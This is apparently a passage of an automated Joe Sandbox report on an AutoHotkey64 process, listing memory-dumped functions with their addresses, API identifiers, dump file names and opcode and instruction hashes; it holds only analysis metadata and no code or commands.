                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: realloc
                                                              • String ID:
                                                              • API String ID: 471065373-0
                                                              • Opcode ID: b513740523cd09518267bafcb3559e74380187ce6984c64673528f04570a3d40
                                                              • Instruction ID: 5cd292b6f9c85ed3e42b3072f7468118ca55e907e2c36d27ceb86ca71a6a598d
                                                              • Opcode Fuzzy Hash: b513740523cd09518267bafcb3559e74380187ce6984c64673528f04570a3d40
                                                              • Instruction Fuzzy Hash: 78310272600A9482DA52CF87A484BE963B8FB9CFC4F890421EF1D43B69DB34C192C340
                                                              Function 00000001400B0FD0 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: realloc
                                                              • String ID:
                                                              • API String ID: 471065373-0
                                                              • Opcode ID: e9b4ac36e917b7d879bf168b0bc81bce3db70570fc40b4377c7d47738e0e43b2
                                                              • Instruction ID: 5cedece5d6ff330568f211bb572b3097e87c7e7e806fc9ccdf10424e3b02583f
                                                              • Opcode Fuzzy Hash: e9b4ac36e917b7d879bf168b0bc81bce3db70570fc40b4377c7d47738e0e43b2
                                                              • Instruction Fuzzy Hash: 76314472221F8086DA219F62E44039A63B4F75CBD4F985626EF9D53BA8EF38C591C340
                                                              Function 00000001400B6CD0 Relevance: 1.5, APIs: 1, Instructions: 289COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: ByteCharMultiWide
                                                              • String ID:
                                                              • API String ID: 626452242-0
                                                              • Opcode ID: 23ff4258d3bea678e0e240e4911b0abddc230467f1d73850548a1d8efe7cf52c
                                                              • Instruction ID: cba92ac32ddad1a3b3feb83d02f3469b55ee6b6bd685e44c1f317069469b46f8
                                                              • Opcode Fuzzy Hash: 23ff4258d3bea678e0e240e4911b0abddc230467f1d73850548a1d8efe7cf52c
                                                              • Instruction Fuzzy Hash: A4B10572624A908AEB729FA7D0407ED23B1F7587D8F509126FB4A47BE4DB79C981C700
                                                              Function 000000014006337B Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: ProcWindow
                                                              • String ID:
                                                              • API String ID: 181713994-0
                                                              • Opcode ID: e8e9d8796f30a347e983fed88a65c25d59728602086e9dd0fa0779f322678dd8
                                                              • Instruction ID: 6d985a48305c8ddd6ebe3579f3977428c258b7ce9c26118ab8bdfc0082b8d724
                                                              • Opcode Fuzzy Hash: e8e9d8796f30a347e983fed88a65c25d59728602086e9dd0fa0779f322678dd8
                                                              • Instruction Fuzzy Hash: 55F08C362145C081E7A3D323BE007E66361BB8DBE8F540D069F2D63AB9DA38C487C300
                                                              Function 00000001400B76D0 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: FileRead
                                                              • String ID:
                                                              • API String ID: 2738559852-0
                                                              • Opcode ID: 607ff40cb4d12084776d1ab5d6b1b63de3b6ac8930c377e61ac8f17122d0ccbe
                                                              • Instruction ID: 39a6691a79898ced3f6f2198a6560b6b45d0cf03b1945331eabf87b007987bc6
                                                              • Opcode Fuzzy Hash: 607ff40cb4d12084776d1ab5d6b1b63de3b6ac8930c377e61ac8f17122d0ccbe
                                                              • Instruction Fuzzy Hash: 7FD0C936A04A80C7C710DF28E40428AB7B0F78A748FA00112FB8D87728EB3AC916CF40